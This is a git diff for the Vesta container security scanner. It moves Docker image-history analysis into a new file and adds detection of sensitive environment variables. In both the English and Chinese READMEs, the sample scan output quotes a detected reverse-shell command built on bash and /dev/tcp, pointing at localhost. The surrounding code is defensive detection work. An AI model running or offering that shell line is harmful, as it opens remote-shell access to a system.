diff --git a/CHANGELOG.md b/CHANGELOG.md index 17d3763..7ea4147 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,17 +5,21 @@ - Add checking of ingress nginx - Add BearerToken for authentication - Add insecure and server flags in k8s analysis +- Add environment checking in docker images ## improvements - Add the counter of each severity - Add some rules of annotation checking - Delete the inside flag due to duplicate - Add `.dockerconfigjson` in secret checking - -## improvements +- Add Docker Histories environment checking - Add the date of kernel compiling checking in checking of kernel version - Add the error output in image saving +## fixed +- Fix the out of range in container extract + + # 1.0.8 (2023.6.6) ## features - Add dangerous image used checking in Docker diff --git a/README.md b/README.md index 9a18995..37bee68 100644 --- a/README.md +++ b/README.md @@ -59,7 +59,7 @@ Vesta is a flexible toolkit which can run on physical machines in different type | ✔ | Pid Module | Pid Module is `host`. | high | | | ✔ | Docker Server version | Server version is included the vulnerable version. | critical/high/ medium/low | | | ✔ | Docker env password check | Check weak password in database. | high/medium | | -| ✔ | Docker History | Docker layers have some dangerous commands. | high/medium | | +| ✔ | Docker History | Docker layers and environment have some dangerous commands. | high/medium | | | ✔ | Docker Backdoor | Docker env command has malicious commands. | critical/high | | | ✔ | Docker Swarm | Docker swarm has dangerous config or secrets or containers are unsafe. | medium/low | | @@ -68,31 +68,31 @@ Vesta is a flexible toolkit which can run on physical machines in different type > Kubernetes -| Supported | Check Item | Description | Severity | Reference | -|-----------|----------------------------------------------------------|----------------------------------------------------------------------------|---------------------------|------------------------------------------------------------------------------------------------------| -| ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | -| ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | -| ✔ | PV and PVC | PV is mounted the dangerous location and is active. | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | -| ✔ | RBAC | RBAC has some unsafe configurations in clusterrolebingding or rolebinding. | high/medium/ low/warning | | -| ✔ | Kubernetes-dashborad | Checking `-enable-skip-login` and account permission. | critical/high/low | [Ref](https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca) | -| ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | -| ✔ | Docker Server version (k8s versions is less than v1.24) | Server version is included the vulnerable version. | critical/high/ medium/low | | -| ✔ | Kubernetes certification expiration | Certification is expired after 30 days. | medium | | -| ✔ | ConfigMap and Secret check | Check weak password in ConfigMap or Secret. | high/medium | | -| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy tolerates dangerous pod configurations. | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) | -| ✔ | Auto Mount ServiceAccount Token | Mounting default service token. | critical/high/ medium/low | [Ref](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) | -| ✔ | NoResourceLimits | No resource limits are set. | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) | -| ✔ | Job and Cronjob | No seccomp or seLinux are set in Job or CronJob. | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) | -| ✔ | Envoy admin | Envoy admin is opening and listen to `0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) | -| ✔ | Cilium version | Cilium has vulnerable version. | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) | -| ✔ | Istio configurations | Istio has vulnerable version and vulnerable configurations. | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) | -| ✔ | Kubelet 10250/10255 and Kubectl proxy | 10255/10250 port are opening and unauthorized or Kubectl proxy is opening. | high/medium/low | | -| ✔ | Etcd configuration | Etcd safe configuration checking. | high/medium | | -| ✔ | Sidecar configurations | Sidecar has some dangerous configurations. | critical/high/ medium/low | | -| ✔ | Pod annotation | Pod annotation has some unsafe configurations. | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) | -| ✔ | DaemonSet | DaemonSet has unsafe configurations. | critical/high/ medium/low | | -| ✔ | Backdoor | Backdoor Detection. | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) | -| ✔ | Lateral admin movement | Pod specifics a master node. | medium/low | | +| Supported | Check Item | Description | Severity | Reference | +|-----------|----------------------------------------------------------|----------------------------------------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------| +| ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | +| ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | +| ✔ | PV and PVC | PV is mounted the dangerous location and is active. | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | +| ✔ | RBAC | RBAC has some unsafe configurations in clusterrolebingding or rolebinding. | high/medium/ low/warning | | +| ✔ | Kubernetes-dashborad | Checking `-enable-skip-login` and account permission. | critical/high/low | [Ref](https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca) | +| ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | +| ✔ | Docker Server version (k8s versions is less than v1.24) | Server version is included the vulnerable version. | critical/high/ medium/low | | +| ✔ | Kubernetes certification expiration | Certification is expired after 30 days. | medium | | +| ✔ | ConfigMap and Secret check | Check weak password in ConfigMap or Secret. | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) | +| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy tolerates dangerous pod configurations. | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) | +| ✔ | Auto Mount ServiceAccount Token | Mounting default service token. | critical/high/ medium/low | [Ref](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) | +| ✔ | NoResourceLimits | No resource limits are set. | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) | +| ✔ | Job and Cronjob | No seccomp or seLinux are set in Job or CronJob. | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) | +| ✔ | Envoy admin | Envoy admin is opening and listen to `0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) | +| ✔ | Cilium version | Cilium has vulnerable version. | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) | +| ✔ | Istio configurations | Istio has vulnerable version and vulnerable configurations. | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) | +| ✔ | Kubelet 10250/10255 and Kubectl proxy | 10255/10250 port are opening and unauthorized or Kubectl proxy is opening. | high/medium/low | | +| ✔ | Etcd configuration | Etcd safe configuration checking. | high/medium | | +| ✔ | Sidecar configurations | Sidecar has some dangerous configurations. | critical/high/ medium/low | | +| ✔ | Pod annotation | Pod annotation has some unsafe configurations. | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) | +| ✔ | DaemonSet | DaemonSet has unsafe configurations. | critical/high/ medium/low | | +| ✔ | Backdoor | Backdoor Detection. | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) | +| ✔ | Lateral admin movement | Pod specifics a master node. | medium/low | | @@ -166,6 +166,22 @@ Detected 216 vulnerabilities | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ +Docker Histories: ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ +| ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ +| 1 | Image History | - / - | - | 0.0 | high | Confusion value found | +| | | | | | | in ENV: 'command' with | +| | | | | | | the plain text 'bash -i | +| | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | +| | | | | | | '. | ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ +| 2 | | - / - | - | 0.0 | medium | Docker history has found the | +| | | | | | | senstive environment with | +| | | | | | | key 'SECRET_KEY' and value: | +| | | | | | | 123456. | ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ + ```
diff --git a/README.zh-Hans.md b/README.zh-Hans.md index 7f0d185..6ada532 100644 --- a/README.zh-Hans.md +++ b/README.zh-Hans.md @@ -83,31 +83,31 @@ vesta同时也是一个灵活,方便的工具,能够在各种系统上运行 > Kubernetes检查 -| Supported | Check Item | Description | Severity | Reference | -|-----------|----------------------------------------------------------|---------------------------------------------|---------------------------|-------------------------------------------------------------------------------------------------------| -| ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | -| ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | -| ✔ | PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | -| ✔ | RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | | -| ✔ | Kubernetes-dashborad | 检查 `-enable-skip-login`以及 dashborad的账户权限 | critical/high/ low | [Ref](https://xz.aliyun.com/t/11316#toc-10) | -| ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | -| ✔ | Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | | -| ✔ | Kubernetes certification expiration | 证书到期时间小于30天 | medium | | -| ✔ | ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium | | -| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) | -| ✔ | Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | [Ref](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/) | -| ✔ | NoResourceLimits | 没有限制资源的使用,例如CPU,Memory, 存储 | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) | -| ✔ | Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) | -| ✔ | Envoy admin | Envoy admin被配置以及监听`0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) | -| ✔ | Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) | -| ✔ | Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) | -| ✔ | Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | | -| ✔ | Etcd configuration | Etcd 安全配置检查 | high/medium | | -| ✔ | Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | | -| ✔ | Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) | -| ✔ | DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | | -| ✔ | Backdoor | 检查k8s中是否有后门 | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) | -| ✔ | Lateral admin movement | Pod被特意配置到Master节点中 | medium/low | | +| Supported | Check Item | Description | Severity | Reference | +|-----------|----------------------------------------------------------|---------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------| +| ✔ | PrivilegeAllowed | 危险的特权模式 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | +| ✔ | Capabilities | 危险capabilities被设置 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | +| ✔ | PV and PVC | PV 被挂载到敏感目录并且状态为active | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | +| ✔ | RBAC | K8s 权限存在危险配置 | high/medium/ low/warning | | +| ✔ | Kubernetes-dashborad | 检查 `-enable-skip-login`以及 dashborad的账户权限 | critical/high/ low | [Ref](https://xz.aliyun.com/t/11316#toc-10) | +| ✔ | Kernel version | 当前内核版本存在逃逸漏洞 | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | +| ✔ | Docker Server version (k8s versions is less than v1.24) | Docker Server版本存在漏洞 | critical/high/ medium/low | | +| ✔ | Kubernetes certification expiration | 证书到期时间小于30天 | medium | | +| ✔ | ConfigMap and Secret check | ConfigMap 或者 Secret是否存在弱密码 | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) | +| ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy过度容忍Pod不安全配置 | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) | +| ✔ | Auto Mount ServiceAccount Token | Pod默认挂载了service token | critical/high/ medium/low | [Ref](https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/configure-service-account/) | +| ✔ | NoResourceLimits | 没有限制资源的使用,例如CPU,Memory, 存储 | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) | +| ✔ | Job and Cronjob | Job或CronJob没有设置seccomp或seLinux安全策略 | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) | +| ✔ | Envoy admin | Envoy admin被配置以及监听`0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) | +| ✔ | Cilium version | Cilium 存在漏洞版本 | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) | +| ✔ | Istio configurations | Istio 存在漏洞版本以及安全配置检查 | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) | +| ✔ | Kubelet 10255/10250 and Kubectl proxy | 存在node打开了10250或者10255并且未授权或 Kubectl proxy开启 | high/medium/ low | | +| ✔ | Etcd configuration | Etcd 安全配置检查 | high/medium | | +| ✔ | Sidecar configurations | Sidecar 安全配置检查以及Env环境检查 | critical/high/ medium/low | | +| ✔ | Pod annotation | Pod annotation 存在不安全配置 | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) | +| ✔ | DaemonSet | DaemonSet存在不安全配置 | critical/high/ medium/low | | +| ✔ | Backdoor | 检查k8s中是否有后门 | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) | +| ✔ | Lateral admin movement | Pod被特意配置到Master节点中 | medium/low | | ## 编译并使用vesta @@ -160,6 +160,21 @@ Detected 216 vulnerabilities | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ +Docker Histories: ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ +| ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ +| 1 | Image History | - / - | - | 0.0 | high | Confusion value found | +| | | | | | | in ENV: 'command' with | +| | | | | | | the plain text 'bash -i | +| | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | +| | | | | | | '. | ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ +| 2 | | - / - | - | 0.0 | medium | Docker history has found the | +| | | | | | | senstive environment with | +| | | | | | | key 'SECRET_KEY' and value: | +| | | | | | | 123456. | ++----+---------------+----------------------------+-------+-------+--------+--------------------------------+ ``` 3. 使用vesta检查Docker的基线配置 diff --git a/helm/vesta/Chart.yaml b/helm/vesta/Chart.yaml index 8f16c29..aff594d 100644 --- a/helm/vesta/Chart.yaml +++ b/helm/vesta/Chart.yaml @@ -3,7 +3,7 @@ name: vesta description: Vesta helm chart type: application version: 0.1.0 -appVersion: "1.0.8" +appVersion: "1.0.9" keywords: - scanner - vesta diff --git a/helm/vesta/values.yaml b/helm/vesta/values.yaml index 5db8e24..5bbaedd 100644 --- a/helm/vesta/values.yaml +++ b/helm/vesta/values.yaml @@ -11,5 +11,4 @@ jobs: restartPolicy: OnFailure args: - "analyze" - - "k8s" - - "--inside" \ No newline at end of file + - "k8s" \ No newline at end of file diff --git a/internal/analyzer/docker.go b/internal/analyzer/docker.go index a1196f8..b24386f 100644 --- a/internal/analyzer/docker.go +++ b/internal/analyzer/docker.go @@ -11,7 +11,6 @@ import ( "strings" "github.com/docker/docker/api/types" - imagev1 "github.com/docker/docker/api/types/image" version2 "github.com/hashicorp/go-version" _config "github.com/kvesta/vesta/config" _image "github.com/kvesta/vesta/pkg/inspector" @@ -90,7 +89,7 @@ func (s *Scanner) checkDockerContext(ctx context.Context, images []*_image.Image */ // Check image's history - if ok, tlist := checkHistories(images); ok { + if ok, tlist := CheckHistories(images); ok { ct := &container{ ContainerID: "None", ContainerName: "Image Configuration", @@ -691,194 +690,3 @@ func checkImages(images []*_image.ImageInfo) (bool, []*threat) { return vuln, tlist } - -func checkHistories(images []*_image.ImageInfo) (bool, []*threat) { - log.Printf(_config.Yellow("Begin image histories analyzing")) - - var vuln = false - tlist := []*threat{} - - echoReg := regexp.MustCompile(`echo ["|'](.*?)["|']`) - - for _, img := range images { - env := getEnv(img.History) - for _, layer := range img.History { - pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ") - pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)") - pruneLayer := strings.TrimSpace(pruneLayerAfter2) - - link := strings.Split(pruneLayer, " ")[0] - switch link { - case "CMD", "ADD", "ARG", "LABEL", "WORKDIR", "COPY", "EXPOSE", "ENTRYPOINT", "USER": - continue - case "ENV": - values := strings.Split(pruneLayer, "=") - detect := maliciousContentCheck(values[1]) - switch detect.Types { - case Executable: - th := &threat{ - Param: "Image History", - Value: fmt.Sprintf("Image name: %s | "+ - "Image ID: %s", img.Summary.RepoTags[0], - strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), - Describe: fmt.Sprintf("Executable value found in ENV: '%s' "+ - "with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain), - Severity: "high", - } - - tlist = append(tlist, th) - vuln = true - - case Confusion: - th := &threat{ - Param: "Image History", - Value: fmt.Sprintf("Image name: %s | "+ - "Image ID: %s", img.Summary.RepoTags[0], - strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), - Describe: fmt.Sprintf("Confusion value found in ENV: '%s' "+ - "with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain), - Severity: "high", - } - - tlist = append(tlist, th) - vuln = true - default: - // ignore - } - - continue - } - - commands := strings.Split(pruneLayer, "&&") - for _, cmd := range commands { - detectCmd := maliciousContentCheck(strings.TrimSpace(cmd)) - if detectCmd.Types > Unknown { - th := &threat{ - Param: "Image History", - Value: fmt.Sprintf("Image name: %s | "+ - "Image ID: %s", img.Summary.RepoTags[0], - strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), - Describe: fmt.Sprintf("Malicious cmd found in RUN: '%s' "+ - "with the plain text '%s'.", cmd, detectCmd.Plain), - Severity: "high", - } - - tlist = append(tlist, th) - vuln = true - } - - echoMatch := echoReg.FindStringSubmatch(cmd) - if len(echoMatch) > 1 { - detectEcho := maliciousContentCheck(echoMatch[1]) - if detectEcho.Types > Unknown { - th := &threat{ - Param: "Image History", - Value: fmt.Sprintf("Image name: %s | "+ - "Image ID: %s", img.Summary.RepoTags[0], - strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), - Describe: fmt.Sprintf("Malicious value found in RUN: '%s' "+ - "with the plain text '%s'.", cmd, detectEcho.Plain), - Severity: "high", - } - - tlist = append(tlist, th) - vuln = true - } - - pass := echoPass(echoMatch[1], env) - if len(pass) < 1 { - continue - } - switch checkWeakPassword(pass) { - case "Weak": - th := &threat{ - Param: "Image History", - Value: fmt.Sprintf("Image name: %s | "+ - "Image ID: %s", img.Summary.RepoTags[0], - strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), - Describe: fmt.Sprintf("Weak password found in command: '%s' "+ - "with the password '%s'.", cmd, pass), - Severity: "high", - } - - tlist = append(tlist, th) - vuln = true - - case "Medium": - th := &threat{ - Param: "Image History", - Value: fmt.Sprintf("Image name: %s | "+ - "Image ID: %s", img.Summary.RepoTags[0], - strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), - Describe: fmt.Sprintf("Password need need to be reinforeced, found in command: '%s'.", cmd), - Severity: "medium", - } - - tlist = append(tlist, th) - vuln = true - } - } - } - - } - } - - return vuln, tlist -} - -func echoPass(cmd string, env map[string]string) string { - - var pass string - match := false - for _, p := range passKey { - if p.MatchString(cmd) { - match = true - break - } - } - - if !match { - return pass - } - - prune := strings.TrimSpace(cmd) - - if len(strings.Split(prune, "=")) > 1 { - pass = strings.Split(prune, "=")[1] - } else if len(strings.Split(prune, ":")) > 1 { - pass = strings.Split(prune, ":")[1] - } - - pass = strings.TrimSpace(pass) - - // Get true value from format `${env}` - envReg := regexp.MustCompile(`\${(.*)}`) - envMatch := envReg.FindStringSubmatch(pass) - if len(envMatch) > 1 { - if value, ok := env[envMatch[1]]; ok { - pass = value - } - } - - return pass -} - -func getEnv(images []imagev1.HistoryResponseItem) map[string]string { - env := map[string]string{} - - for _, layer := range images { - pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ") - pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)") - pruneLayer := strings.TrimSpace(pruneLayerAfter2) - - link := strings.Split(pruneLayer, " ")[0] - if link != "ENV" { - continue - } - envLayer := strings.TrimPrefix(pruneLayer, "ENV ") - e := strings.Split(envLayer, "=") - env[e[0]] = e[1] - } - - return env -} diff --git a/internal/analyzer/docker_history.go b/internal/analyzer/docker_history.go new file mode 100644 index 0000000..6390129 --- /dev/null +++ b/internal/analyzer/docker_history.go @@ -0,0 +1,250 @@ +package analyzer + +import ( + "fmt" + "log" + "regexp" + "strings" + + imagev1 "github.com/docker/docker/api/types/image" + _config "github.com/kvesta/vesta/config" + _image "github.com/kvesta/vesta/pkg/inspector" +) + +func CheckHistories(images []*_image.ImageInfo) (bool, []*threat) { + log.Printf(_config.Yellow("Begin image histories analyzing")) + + var vuln = false + tlist := []*threat{} + + echoReg := regexp.MustCompile(`echo ["|'](.*?)["|']`) + + for _, img := range images { + env := getEnv(img.History) + + // Check the sensitive environment + if ok, tl := checkEnv(env); ok { + + for _, th := range tl { + th.Value = fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]) + tlist = append(tlist, th) + } + + vuln = true + } + + for _, layer := range img.History { + pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ") + pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)") + pruneLayer := strings.TrimSpace(pruneLayerAfter2) + + link := strings.Split(pruneLayer, " ")[0] + switch link { + case "CMD", "ADD", "ARG", "LABEL", "WORKDIR", "COPY", "EXPOSE", "ENTRYPOINT", "USER": + continue + case "ENV": + values := strings.Split(pruneLayer, "=") + detect := maliciousContentCheck(values[1]) + switch detect.Types { + case Executable: + th := &threat{ + Param: "Image History", + Value: fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), + Describe: fmt.Sprintf("Executable value found in ENV: '%s' "+ + "with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain), + Severity: "high", + } + + tlist = append(tlist, th) + vuln = true + + case Confusion: + th := &threat{ + Param: "Image History", + Value: fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), + Describe: fmt.Sprintf("Confusion value found in ENV: '%s' "+ + "with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain), + Severity: "high", + } + + tlist = append(tlist, th) + vuln = true + default: + // ignore + } + + continue + } + + commands := strings.Split(pruneLayer, "&&") + for _, cmd := range commands { + detectCmd := maliciousContentCheck(strings.TrimSpace(cmd)) + if detectCmd.Types > Unknown { + th := &threat{ + Param: "Image History", + Value: fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), + Describe: fmt.Sprintf("Malicious cmd found in RUN: '%s' "+ + "with the plain text '%s'.", cmd, detectCmd.Plain), + Severity: "high", + } + + tlist = append(tlist, th) + vuln = true + + continue + } + + // Check the content of `echo` command + echoMatch := echoReg.FindStringSubmatch(cmd) + if len(echoMatch) > 1 { + detectEcho := maliciousContentCheck(echoMatch[1]) + if detectEcho.Types > Unknown { + th := &threat{ + Param: "Image History", + Value: fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), + Describe: fmt.Sprintf("Malicious value found in RUN: '%s' "+ + "with the plain text '%s'.", cmd, detectEcho.Plain), + Severity: "high", + } + + tlist = append(tlist, th) + vuln = true + + continue + } + + pass := echoPass(echoMatch[1], env) + if len(pass) < 1 { + continue + } + switch checkWeakPassword(pass) { + case "Weak": + th := &threat{ + Param: "Image History", + Value: fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), + Describe: fmt.Sprintf("Weak password found in command: '%s' "+ + "with the password '%s'.", cmd, pass), + Severity: "high", + } + + tlist = append(tlist, th) + vuln = true + + case "Medium": + th := &threat{ + Param: "Image History", + Value: fmt.Sprintf("Image name: %s | "+ + "Image ID: %s", img.Summary.RepoTags[0], + strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]), + Describe: fmt.Sprintf("Password need need to be reinforeced, found in command: '%s'.", cmd), + Severity: "medium", + } + + tlist = append(tlist, th) + vuln = true + } + } + + } + + } + } + + return vuln, tlist +} + +func echoPass(cmd string, env map[string]string) string { + + var pass string + match := false + for _, p := range passKey { + if p.MatchString(cmd) { + match = true + break + } + } + + if !match { + return pass + } + + prune := strings.TrimSpace(cmd) + + if len(strings.Split(prune, "=")) > 1 { + pass = strings.Split(prune, "=")[1] + } else if len(strings.Split(prune, ":")) > 1 { + pass = strings.Split(prune, ":")[1] + } + + pass = strings.TrimSpace(pass) + + // Get true value from format `${env}` + envReg := regexp.MustCompile(`\${(.*)}`) + envMatch := envReg.FindStringSubmatch(pass) + if len(envMatch) > 1 { + if value, ok := env[envMatch[1]]; ok { + pass = value + } + } + + return pass +} + +func getEnv(images []imagev1.HistoryResponseItem) map[string]string { + env := map[string]string{} + + for _, layer := range images { + pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ") + pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)") + pruneLayer := strings.TrimSpace(pruneLayerAfter2) + + link := strings.Split(pruneLayer, " ")[0] + if link != "ENV" { + continue + } + envLayer := strings.TrimPrefix(pruneLayer, "ENV ") + e := strings.Split(envLayer, "=") + env[e[0]] = e[1] + } + + return env +} + +func checkEnv(env map[string]string) (bool, []*threat) { + var vuln = false + tlist := []*threat{} + + for key, value := range env { + for _, p := range passKey { + if p.MatchString(key) { + + th := &threat{ + Param: "Image History", + Describe: fmt.Sprintf("Docker history has found the senstive environment"+ + " with key '%s' and value: %s.", key, value), + Severity: "medium", + } + + tlist = append(tlist, th) + vuln = true + + break + } + } + + } + + return vuln, tlist +} diff --git a/internal/extract.go b/internal/extract.go index 9d550bc..5973661 100644 --- a/internal/extract.go +++ b/internal/extract.go @@ -63,12 +63,14 @@ func Extract(ctx context.Context, tarPath string, tarIO []io.ReadCloser) (*layer } // Get mount path - for _, mio := range tarIO[1:] { - tarReader = tar.NewReader(mio) - err = pkg.Walk(tarReader, tempPath) - if err != nil { - log.Printf("decompress mount path failed, error: %v", err) - continue + if len(tarIO) > 1 { + for _, mio := range tarIO[1:] { + tarReader = tar.NewReader(mio) + err = pkg.Walk(tarReader, tempPath) + if err != nil { + log.Printf("decompress mount path failed, error: %v", err) + continue + } } } diff --git a/internal/vulnscan/vuln.go b/internal/vulnscan/vuln.go index 6912f77..a48059c 100644 --- a/internal/vulnscan/vuln.go +++ b/internal/vulnscan/vuln.go @@ -10,6 +10,7 @@ import ( "strings" "github.com/kvesta/vesta/config" + "github.com/kvesta/vesta/internal/analyzer" "github.com/kvesta/vesta/pkg/layer" "github.com/kvesta/vesta/pkg/match" "github.com/kvesta/vesta/pkg/packages" @@ -71,19 +72,42 @@ func (ps *Scanner) Scan(ctx context.Context, m *layer.Manifest, p *packages.Pack log.Printf("failed to check /etc/passwd") } + // Check the image history if exist + if ok, tlist := analyzer.CheckHistories(m.Histories); ok { + historyVuln := []*vulnComponent{} + for _, t := range tlist { + 